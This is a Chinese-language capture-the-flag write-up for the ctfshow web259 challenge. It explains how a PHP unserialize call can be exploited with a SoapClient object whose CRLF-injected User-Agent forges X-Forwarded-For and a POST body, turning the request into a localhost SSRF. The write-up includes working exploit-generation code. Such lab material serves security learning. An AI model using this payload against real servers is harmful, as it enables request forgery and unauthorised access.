ctfshow web入门之web259
web259
题目描述
1.题目源码很短:
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
2.题目在提示给出了flag.php的内容:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
题目解读
1.首先,根据源码,可见我们需要传入一个反序列化的参数,并且调用一个不存在的getFlag()方法,而我们知道,调用一个不存在的公共方法,就会自动调用__call方法,因此我们应当去联想有哪些原生类有__call方法,下面给出一个找原生类方法的脚本:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
联想到这题的提示,很容易想到ssrf中的SoapClient类,并且它也存在__call方法!
跟进一下soap类:
在php手册上查询,发现这个方法可以调用远程soap方法!(虽然已经被废弃了)
2.现在思路就明确了:我们需要利用SoapClient类构造一个post请求,让ip=127.0.0.1,携带token="ctfshow"。
3.首先我们需要构造一下UA头,绕过127.0.0.1的限制:
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
这里的"\r\n"是CRLF注入,代表着"回车换行";而我们知道,请求头和请求体之间是存在一个空行的,因此Content-Length和token之间存在了两对"\r\n"。之所以要写两个127.0.0.1,是因为代码中使用了两次array_pop,每次会删除最后一个数组元素,因此为了将$ip赋值为127.0.0.1,需要写两个127.0.0.1。
4.其次我们查询php手册,找到SoapClient类的构造方法所需的参数:
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
soap是什么
1.soap是webServer的三要素之一(SOAP、WSDL、UDDI)
2.WSDL用来描述如何访问具体的接口
3.UUDI用来管理、分发、查询webServer
4.SOAP是连接web服务和客户端的接口
简单地说,SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。 php中的soapClient类
php中的soapClient类可以创建soap数据报文,与wsdl接口进行交互。
第一个参数设置为null,表示非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求。
第二个参数中,可以设置uri、location、user_agent等值。
uri:指定命名空间 URI(Namespace URI)。
location:指定 Web 服务的 URL 地址。
user_agent:指定 HTTP 请求的 User-Agent 头。
5.接着,我们把上面两步的数据整合在一起,进行序列化,然后传递参数,再访问flag.txt即可拿到flag:
<?php
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>